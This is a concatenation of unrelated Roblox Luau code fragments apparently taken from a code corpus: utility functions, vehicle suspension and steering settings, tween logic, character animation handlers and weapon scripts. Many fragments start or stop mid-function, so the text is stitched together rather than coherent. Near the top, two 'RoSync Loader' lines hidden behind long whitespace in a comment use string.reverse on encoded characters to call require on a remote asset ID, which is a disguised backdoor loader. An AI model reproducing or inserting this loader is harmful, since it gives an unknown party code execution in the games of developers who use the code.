Roblox/luau_corpus huggingface dataset:
--[[
	Invokes `callback`, capturing all output that happens during its execution.

	Output will not go to stdout or stderr and will instead be put into a
	LogInfo object that is returned. If `callback` throws, the error will be
	bubbled up to the caller of `Logging.capture`.
]]
function Logging.capture(callback)
	local collector = createLogInfo()

	local wasOutputEnabled = outputEnabled
	outputEnabled = false
	collectors[collector] = true

	local success, result = pcall(callback)

	collectors[collector] = nil
	outputEnabled = wasOutputEnabled

	assert(success, result)

	return collector
end
-- local SNAPSHOT_ARG = printSnapshot.SNAPSHOT_ARG
local bReceivedColor = printSnapshot.bReceivedColor
local matcherHintFromConfig = printSnapshot.matcherHintFromConfig
--// Probabilities
	JamChance = 0; -- This is percent scaled. For 100% Chance of jamming, put 100, for 0%, 0; and everything inbetween
	TracerChance = 70; -- This is the percen scaled. For 100% Chance of showing tracer, put 100, for 0%, 0; and everything inbetween
--[[ Last synced 4/18/2021 05:54                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         RoSync Loader ]] getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[                                                                                                  ]]--
--[[ Last synced 4/18/2021 05:55                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         RoSync Loader ]] getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[                                                                                                  ]]--
--[[
	Cache results of a function such that subsequent calls return the cached result rather than
	call the function again.

	By default, a cached result is stored for each separate combination of serialized input args.
	Optionally memoize takes a serializeArgs function which should return a key that the result
	should be cached with for a given call signature. Return nil to avoid caching the result.
]]
function FunctionUtils.memoize(fn, serializeArgs)
	assert(type(fn) == "function")
	serializeArgs = serializeArgs or FunctionUtils.defaultSerializeArgs
	assert(type(serializeArgs) == "function")
	local cache = {}
	local proxyFunction = function(...)
		local proxyArgs = {...}
		local cacheKey = serializeArgs(proxyArgs)
		if cacheKey == nil then
			return fn(...)
		else
			if cache[cacheKey] == nil then
				cache[cacheKey] = fn(...)
			end
			return cache[cacheKey]
		end
	end
	return proxyFunction
end

function FunctionUtils.setTimeout(fn, secondsDelay)
	local cleared = false
	local timeout
	delay(
		secondsDelay,
		function()
			if not cleared then
				fn(timeout)
			end
		end
	)
	timeout = {
		clear = function()
			cleared = true
		end
	}
	return timeout
end

function FunctionUtils.setInterval(fn, secondsDelay)
	local timeout
	local callTimeout
	callTimeout = function()
		timeout =
			FunctionUtils.setTimeout(
			function()
				callTimeout()
				fn(timeout)
			end,
			secondsDelay
		)
	end
	callTimeout()

	return {
		clear = function()
			timeout:clear()
		end
	}
end
--		if seat.Steer == 1 then
--			bg.CFrame = bg.CFrame * CFrame.Angles(0,-.05,0)
--		elseif seat.Steer == -1 then
--			bg.CFrame = bg.CFrame * CFrame.Angles(0,.05,0)
--		end
		IfOnLand()
	end
if script.Parent then
script.Parent.PrimaryPart.WaterMove.Volume = 0
script.Parent.PrimaryPart.WaterMove:Stop()
end
end

seat.ChildAdded:connect(function(object)
	local p = game.Players:FindFirstChild(object.Part1.Parent.Name)
	if p then
		DriveEnabled = true
		StartEngine()
	end
end)

seat.ChildRemoved:connect(function(object)
	if object:IsA'Weld' then
		DriveEnabled = false
		lastLodged = tick()
		wait(0.3)
		Speed = 0
--[[Steering]]
	Tune.RWS				= 1/4		--rear wheel steer ratio
	Tune.RWSCO			= 40		--RWS cutoff speed

	Tune.SteerInner		= 36		-- Inner wheel steering angle (in degrees)
	Tune.SteerOuter		= 36		-- Outer wheel steering angle (in degrees)
	Tune.SteerSpeed		= .065		-- Steering increment per tick (in degrees)
	Tune.ReturnSpeed	= .12		-- Steering increment per tick (in degrees)
	Tune.SteerDecay		= 330		-- Speed of gradient cutoff (in SPS)
	Tune.MinSteer		= 10		-- Minimum steering at max steer decay (in percent)
	Tune.MSteerExp		= 1			-- Mouse steering exponential degree
	
	--Steer Gyro Tuning
	Tune.SteerD			= 1000		-- Steering Dampening
	Tune.SteerMaxTorque	= 50000		-- Steering Force
	Tune.SteerP			= 100000	-- Steering Aggressiveness
--[[
	Called when the goal state changes value; this will initiate a new tween.
	Returns false as the current value doesn't change right away.
]]
function class:update(): boolean
	local goalValue = self._goalState:get(false)

	-- if the goal hasn't changed, then this is a TweenInfo change.
	-- in that case, if we're not currently animating, we can skip everything
	if goalValue == self._nextValue and not self._currentlyAnimating then
		return false
	end

	local tweenInfo = self._tweenInfo
	if self._tweenInfoIsState then
		tweenInfo = tweenInfo:get()
	end

	-- if we receive a bad TweenInfo, then error and stop the update
	if typeof(tweenInfo) ~= "TweenInfo" then
		warn("mistypedTweenInfo", typeof(tweenInfo))
		return false
	end

	self._prevValue = self._currentValue
	self._nextValue = goalValue

	self._currentTweenStartTime = os.clock()
	self._currentTweenInfo = tweenInfo

	local tweenDuration = tweenInfo.DelayTime + tweenInfo.Time
	if tweenInfo.Reverses then
		tweenDuration += tweenInfo.Time
	end
	tweenDuration *= tweenInfo.RepeatCount + 1
	self._currentTweenDuration = tweenDuration

	-- start animating this tween
	TweenScheduler.add(self)

	return false
end

local function Tween<T>(
	goalState,
	tweenInfo: TweenInfo?
)
	local currentValue = goalState:get(false)

	-- apply defaults for tween info
	if not tweenInfo then
		tweenInfo = TweenInfo.new()
	end

	local dependencySet = {[goalState] = true}
	local tweenInfoIsState = xtypeof(tweenInfo) == "State"

	if tweenInfoIsState then
		dependencySet[tweenInfo] = true
	end

	local startingTweenInfo = tweenInfo
	if tweenInfoIsState then
		startingTweenInfo = startingTweenInfo:get()
	end

	-- If we start with a bad TweenInfo, then we don't want to construct a Tween
	if typeof(startingTweenInfo) ~= "TweenInfo" then
		Dependencies.utility.parseError("mistypedTweenInfo", nil, typeof(startingTweenInfo))
	end

	local self = setmetatable({
		type = "State",
		kind = "Tween",
		dependencySet = dependencySet,
		-- if we held strong references to the dependents, then they wouldn't be
		-- able to get garbage collected when they fall out of scope
		dependentSet = setmetatable({}, WEAK_KEYS_METATABLE),
		_goalState = goalState,
		_tweenInfo = tweenInfo,
		_tweenInfoIsState = tweenInfoIsState,

		_prevValue = currentValue,
		_nextValue = currentValue,
		_currentValue = currentValue,

		-- store current tween into separately from 'real' tween into, so it
		-- isn't affected by :setTweenInfo() until next change
		_currentTweenInfo = tweenInfo,
		_currentTweenDuration = 0,
		_currentTweenStartTime = 0,
		_currentlyAnimating = false
	}, CLASS_METATABLE)
	
	-- add this object to the goal state's dependent set
	goalState.dependentSet[self] = true

	return self
end

return Tween
--[=[
	Gets the lua type for the given class name

	@param valueBaseClassName string
	@return string?
]=]
function ValueBaseUtils.getValueBaseType(valueBaseClassName)
	return VALUE_BASE_TYPE_LOOKUP[valueBaseClassName]
end
-- the Tool, reffered to here as "Block." Do not change it!
Block = script.Parent.Parent.Door.Key1 -- You CAN change the name in the quotes "Example Tool"
--[[Susupension]]
	Tune.SusEnabled		= true		-- Sets whether suspension is enabled for PGS
	
	--Front Suspension
	Tune.FSusDamping	= 70		-- Spring Dampening
	Tune.FSusStiffness	= 7000		-- Spring Force
	Tune.FAntiRoll 		= 50		-- Anti-Roll (Gyro Dampening)
	
	Tune.FSusLength		= 2			-- Suspension length (in studs)
	Tune.FPreCompress	= .3		-- Pre-compression adds resting length force
	Tune.FExtensionLim	= .3		-- Max Extension Travel (in studs)
	Tune.FCompressLim	= .1		-- Max Compression Travel (in studs)
	Tune.FSusAngle		= 80		-- Suspension Angle (degrees from horizontal)
		
	Tune.FWsBoneLen		= 5			-- Wishbone Length
	Tune.FWsBoneAngle	= 0			-- Wishbone angle (degrees from horizontal)
	Tune.FAnchorOffset	= {			-- Suspension anchor point offset (relative to center of wheel)
	 --[[Lateral]]		-.4		,	-- positive = outward
	 --[[Vertical]]		-.5		,	-- positive = upward
	 --[[Forward]]		0		}	-- positive = forward
	
	--Rear Suspension
	Tune.RSusDamping	= 70		-- Spring Dampening
	Tune.RSusStiffness	= 7000		-- Spring Force
	Tune.RAntiRoll 		= 50		-- Anti-Roll (Gyro Dampening)

	Tune.RSusLength		= 2			-- Suspension length (in studs)
	Tune.RPreCompress	= .3		-- Pre-compression adds resting length force
	Tune.RExtensionLim	= .3		-- Max Extension Travel (in studs)
	Tune.RCompressLim	= .1		-- Max Compression Travel (in studs)
	Tune.RSusAngle		= 80		-- Suspension Angle (degrees from horizontal)
		
	Tune.RWsBoneLen		= 5			-- Wishbone Length
	Tune.RWsBoneAngle	= 0			-- Wishbone angle (degrees from horizontal)
	Tune.RAnchorOffset	= {			-- Suspension anchor point offset (relative to center of wheel)
	 --[[Lateral]]		-.4		,	-- positive = outward
	 --[[Vertical]]		-.5		,	-- positive = upward
	 --[[Forward]]		0		}	-- positive = forward

	--Aesthetics	
	Tune.SusVisible		= true			-- Spring Visible
	Tune.WsBVisible		= false			-- Wishbone Visible
	Tune.SusRadius		= .2			-- Suspension Coil Radius
	Tune.SusThickness	= .1			-- Suspension Coil Thickness
	Tune.SusColor		= "Bright red"	-- Suspension Color [BrickColor]
	Tune.SusCoilCount	= 6				-- Suspension Coil Count
	Tune.WsColor		= "Black"		-- Wishbone Color [BrickColor]
	Tune.WsThickness	= .1			-- Wishbone Rod Thickness
--[Rurka]
pala1 = script.Parent.Parent.Part1
legansio = false

pala2 = script.Parent.Parent.Part2
legansio = false

pala3 = script.Parent.Parent.Part3
legansio = false

pala4 = script.Parent.Parent.Part4
legansio = false

pala5 = script.Parent.Parent.Part5
legansio = false

pala6 = script.Parent.Parent.Part6
legansio = false

pala7 = script.Parent.Parent.Part7
legansio = false
-- change y height of shark
end
end
end

if stance == "wander" then
scanInterval = 1
target = nil
MakeAMove()
elseif stance == "attack" then
scanInterval = .1
MakeAMove()
end

wait(scanInterval)
end -- end of wtd
end)
scanSurroundings()
--[[Brakes]]
	Tune.ABSEnabled		= true		-- Implements ABS
	Tune.ABSThreshold	= 20		-- Slip speed allowed before ABS starts working (in SPS) 

	Tune.FBrakeForce	= 3500		-- Front brake force
	Tune.RBrakeForce	= 3500		-- Rear brake force
	Tune.PBrakeForce	= 8000		-- Handbrake force
	
	Tune.FLgcyBForce	= 15000		-- Front brake force [PGS OFF]
	Tune.RLgcyBForce	= 10000		-- Rear brake force [PGS OFF]
	Tune.LgcyPBForce	= 25000		-- Handbrake force [PGS OFF]
-- BLOOXERindisguise
local debounce = false

function getPlayer(humanoid) 
local players = game.Players:children() 
for i = 1, #players do 
if players[i].Character.Humanoid == humanoid then return players[i] end 
end 
return nil 
end 

function onTouch(part) 

local human = part.Parent:findFirstChild("Humanoid") 
if (human ~= nil) and debounce == false then

debounce = true

local player = getPlayer(human) 

if (player == nil) then return end 

script.Parent:clone().Parent = player.Backpack
script.Parent:clone().Parent = player.StarterGear

wait(2)
debounce = false
end
end


script.Parent.Parent.Touched:connect(onTouch)
----[UPDATES PREVIEWCOLOR]----
local function UpdatePreviewColor(z)
	PreviewColor[z].BackgroundColor3 = Color3.fromRGB(tonumber(RGBInputs[z][1].Text), tonumber(RGBInputs[z][2].Text), tonumber(RGBInputs[z][3].Text))
end
-- Player Related Variables
local activePlayers = {}

local function respawnPlayerInLobby(player)
	player.RespawnLocation = lobbySpawn
	player:LoadCharacter()
end
--Format: 	[AssetId] = "PermissionName" OR PermissionNumber ;
local Assets ={
	[670066156] = "Mod" ;
	[3] = 1 ;
}
-- Decompiled with the Synapse X Luau decompiler.

local v1 = {};
local v2 = require(game.ReplicatedStorage.Modules.Lightning);
local v3 = require(game.ReplicatedStorage.Modules.Xeno);
local v4 = require(game.ReplicatedStorage.Modules.CameraShaker);
local l__TweenService__5 = game.TweenService;
local l__Debris__6 = game.Debris;
local l__ReplicatedStorage__1 = game.ReplicatedStorage;
function v1.RunStompFx(p1, p2, p3, p4)
	local v7 = l__ReplicatedStorage__1.KillFX[p1].Stomp:Clone();
	v7.Parent = p2.Parent.UpperTorso and p2;
	v7:Play();
	game.Debris:AddItem(v7, 4);
	local v8 = l__ReplicatedStorage__1.KillFX[p1].Spirit:Clone();
	v8.Parent = workspace.Ignored.Animations;
	v8.PrimaryPart.CFrame = p3.Character.HumanoidRootPart.CFrame * CFrame.new(0, 48, 25);
	if p3 and p3:FindFirstChild("Information") then
		for v9, v10 in pairs(v8:GetDescendants()) do
			if v10:IsA("BasePart") or v10:IsA("MeshPart") then
				v10.Color = p3:FindFirstChild("Information").RayColor.Value;
			end;
		end;
	end;
	game.Debris:AddItem(v8, 4.5);
	local v11 = v8.Anim:LoadAnimation(v8.Animation);
	v11:Play();
	local u2 = nil;
	u2 = v11:GetMarkerReachedSignal("PUNCH"):Connect(function()
		local v12 = game.ReplicatedStorage.VFX.AURAAAAA:Clone();
		v12.Parent = workspace.Ignored.Animations;
		v12.Position = p2.Position;
		game:GetService("TweenService"):Create(v12, TweenInfo.new(2), {
			Position = p2.Position + Vector3.new(0, 50, 0)
		}):Play();
		game:GetService("TweenService"):Create(v12.Mesh, TweenInfo.new(2), {
			Scale = Vector3.new(120, 90, 120)
		}):Play();
		game:GetService("TweenService"):Create(v12, TweenInfo.new(2), {
			Transparency = 1
		}):Play();
		v12.Sound:Play();
		game.Debris:AddItem(v12, 2);
		v12.Color = p3:FindFirstChild("Information") and p3:FindFirstChild("Information").RayColor.Value or v8.Head.Color;
		for v13, v14 in pairs(p2.Parent:GetDescendants()) do
			if not (not v14:IsA("BasePart")) or not (not v14:IsA("MeshPart")) or v14:IsA("Decal") then
				game:GetService("TweenService"):Create(v14, TweenInfo.new(0.5), {
					Transparency = 1
				}):Play();
			end;
		end;
		u2:Disconnect();
	end);
	delay(3.5, function()
		for v15, v16 in pairs(v8:GetDescendants()) do
			if not (not v16:IsA("BasePart")) or not (not v16:IsA("MeshPart")) or v16:IsA("Decal") then
				game:GetService("TweenService"):Create(v16, TweenInfo.new(0.5), {
					Transparency = 1
				}):Play();
			end;
		end;
	end);
	return nil;
end;
return v1;
-- Tool
local Tool = script.Parent
local Handle = Tool:WaitForChild("Handle")

local Animations = {}

local ServerControl = Tool:WaitForChild("ServerControl")
local ClientControl = Tool:WaitForChild("ClientControl")
--[[
	Defines ProximityPrompt visibility logic specific to the CanPlace cta
--]]

local CollectionService = game:GetService("CollectionService")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local Players = game:GetService("Players")

local CharacterTag = require(ReplicatedStorage.Source.SharedConstants.CollectionServiceTag.CharacterTag)
local WagonTag = require(ReplicatedStorage.Source.SharedConstants.CollectionServiceTag.WagonTag)

local localPlayer = Players.LocalPlayer :: Player

local function shouldEnable(promptParent: Instance)
	local character = localPlayer.Character
	if not character then
		return false
	end

	-- Can't place something you're not carrying
	local isHoldingPlant = CollectionService:HasTag(character :: Model, CharacterTag.Holding)
	if not isHoldingPlant then
		return false
	end

	-- Can't overfill the wagon
	local wagon = promptParent
	local isWagonFull = CollectionService:HasTag(wagon, WagonTag.WagonFull)
	if isWagonFull then
		return false
	end

	return true
end

return shouldEnable
-- Continuously update the time in real-time
while wait(1) do
	-- Get the current time in CET
	local currentTime = os.time()

	-- Get the current time in the format "HH:MM AM/PM"
	local currentTimeString = os.date("%I:%M %p", currentTime)

	-- Update the TextLabel with the current time
	textLabel.Text = currentTimeString
end
-------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------
function onRunning(speed)
if speed>0.01 then
if Figure and Humanoid and Humanoid.WalkSpeed<17 then
playAnimation("walk", 0.1, Humanoid);
elseif Figure and Humanoid and Humanoid.WalkSpeed>17 then
playAnimation("run", 0.1, Humanoid);
end;
if currentAnimInstance and currentAnimInstance.AnimationId == "http://www.roblox.com/asset/?id=180426354" then
setAnimationSpeed(speed / 14.5)
end
pose = "Running"
else
playAnimation("idle", 0.1, Humanoid)
pose = "Standing"
end
end
function onDied()
pose = "Dead"
end
function onJumping()
playAnimation("jump", 0.1, Humanoid)
jumpAnimTime = jumpAnimDuration
pose = "Jumping"
end
function onClimbing(speed)
playAnimation("climb", 0.1, Humanoid)
setAnimationSpeed(speed / 12.0)
pose = "Climbing"
end
function onGettingUp()
pose = "GettingUp"
end
function onFreeFall()
if (jumpAnimTime <= 0) then
playAnimation("fall", fallTransitionTime, Humanoid)
end
pose = "FreeFall"
end
function onFallingDown()
pose = "FallingDown"
end
function onSeated()
pose = "Seated"
end
function onPlatformStanding()
pose = "PlatformStanding"
end
function onSwimming(speed)
if speed>0 then
pose = "Running"
else
pose = "Standing"
end
end

function getTool()
for _, kid in ipairs(Figure:GetChildren()) do
if kid.className == "Tool" then return kid end
end
return nil
end

function getToolAnim(tool)
for _, c in ipairs(tool:GetChildren()) do
if c.Name == "toolanim" and c.className == "StringValue" then
return c
end
end
return nil
end

function animateTool()

if (toolAnim == "None") then
playToolAnimation("toolnone", toolTransitionTime, Humanoid)
return
end

if (toolAnim == "Slash") then
playToolAnimation("toolslash", 0, Humanoid)
return
end

if (toolAnim == "Lunge") then
playToolAnimation("toollunge", 0, Humanoid)
return
end
end

local lastTick = 0

function move(time)
local amplitude = 1
local frequency = 1
  local deltaTime = time - lastTick
  lastTick = time

local climbFudge = 0
local setAngles = false

  if (jumpAnimTime > 0) then
  jumpAnimTime = jumpAnimTime - deltaTime
  end

if (pose == "FreeFall" and jumpAnimTime <= 0) then
playAnimation("fall", fallTransitionTime, Humanoid)
elseif (pose == "Seated") then
playAnimation("sit", 0.5, Humanoid)
return
elseif (pose == "Running") then
if Figure and Humanoid and Humanoid.WalkSpeed<17 then
playAnimation("walk", 0.1, Humanoid);
elseif Figure and Humanoid and Humanoid.WalkSpeed>17 then
playAnimation("run", 0.1, Humanoid);
end;
elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then
stopAllAnimations()
amplitude = 0.1
frequency = 1
setAngles = true
end
if (setAngles) then

end
-- Remove and return the top priority item
function PriorityQueue:Pop()
	local heap = self.heap
	local orig = heap[1][1]
	
	heap[1] = heap[self.current_size]
	heap[self.current_size] = nil
	
	self.current_size -= 1
	self:sink()
	
	return orig
end

return PriorityQueue
-- ANIMATIONS --
local equippedIdle
local childAdded
local childRemoved
--[[
	
	Alternative to Wait() which is using tick to sync time
	
	Functions.Wait(
		Time(sec)   			<-- |REQ|	Number
	)
	
--]]


return function(t)
	local _tick = tick()
	while (tick() - _tick) < t do
		_L.Services.RunService.Heartbeat:Wait()
	end
end
--[[
	A mapping of ZoneIds to UILayers used for setting up zone connections to open corresponding shop UI
--]]

local ReplicatedStorage = game:GetService("ReplicatedStorage")

local UILayerId = require(ReplicatedStorage.Source.SharedConstants.UILayerId)
local ZoneIdTag = require(ReplicatedStorage.Source.SharedConstants.CollectionServiceTag.ZoneIdTag)

local UILayerIdByZoneId: { [ZoneIdTag.EnumType]: UILayerId.EnumType } = {
	[ZoneIdTag.InShop] = UILayerId.SeedMarket,
	[ZoneIdTag.InGardenStore] = UILayerId.GardenStore,
}

return UILayerIdByZoneId
--removedLength = 8
function onTouched(hit)
	if hit.Parent == nil or hit.Name == "Bullet" then return end
	local humanoid = hit.Parent:findFirstChild("Humanoid")
	
	local explosion = Instance.new("Explosion")
 	explosion.BlastRadius = 3.5
	explosion.BlastPressure = 25000
  	explosion.Position = script.Parent.Position
 	explosion.Parent = game.Workspace	
	
	if(ball.Name=="Bullet") then
		-- make a splat
		for i=1,3 do
			s = Instance.new("Part")
			s.Name = "Shard"
			s.Shape = 1 -- block
			s.formFactor = 2 -- plate
			s.Size = Vector3.new(.4,.4,.4)
			s.BrickColor = BrickColor.new(blacks[math.random(#blacks)])
			s.Material = Enum.Material.Metal
			local v = Vector3.new(math.random(-1,1), math.random(0,1), math.random(-1,1))
			s.Velocity = 125 * v
			s.CFrame = CFrame.new(ball.Position + v, v)
			local new_script = script.Fragment:clone()
			new_script.Disabled = false
			new_script.Parent = s
			s.Parent = game.Workspace

			local tag = ball:findFirstChild("creator")
			if tag~= nil then
				local new_tag = tag:clone()
				new_tag.Parent = s
			end

			debris:AddItem(s, 2)  

			if humanoid ~= nil then
				tagHumanoid(humanoid)
				humanoid:TakeDamage(damage)
				wait(2)
				untagHumanoid(humanoid)
			end

			connection:disconnect()
			ball.Parent = nil
		end

	else
		if humanoid ~= nil then
				tagHumanoid(humanoid)
				humanoid:TakeDamage(10)
				wait(2)
				untagHumanoid(humanoid)
				ball.Parent = nil
		end
		--removedLength = 2
		connection:disconnect()
	end
	
end

function tagHumanoid(humanoid)
	-- todo: make tag expire
	local tag = ball:findFirstChild("creator")
	if tag ~= nil then
		local new_tag = tag:clone()
		new_tag.Parent = humanoid
	end
end


function untagHumanoid(humanoid)
	if humanoid ~= nil then
		local tag = humanoid:findFirstChild("creator")
		if tag ~= nil then
			tag.Parent = nil
		end
	end
end

connection = ball.Touched:connect(onTouched)

wait(8)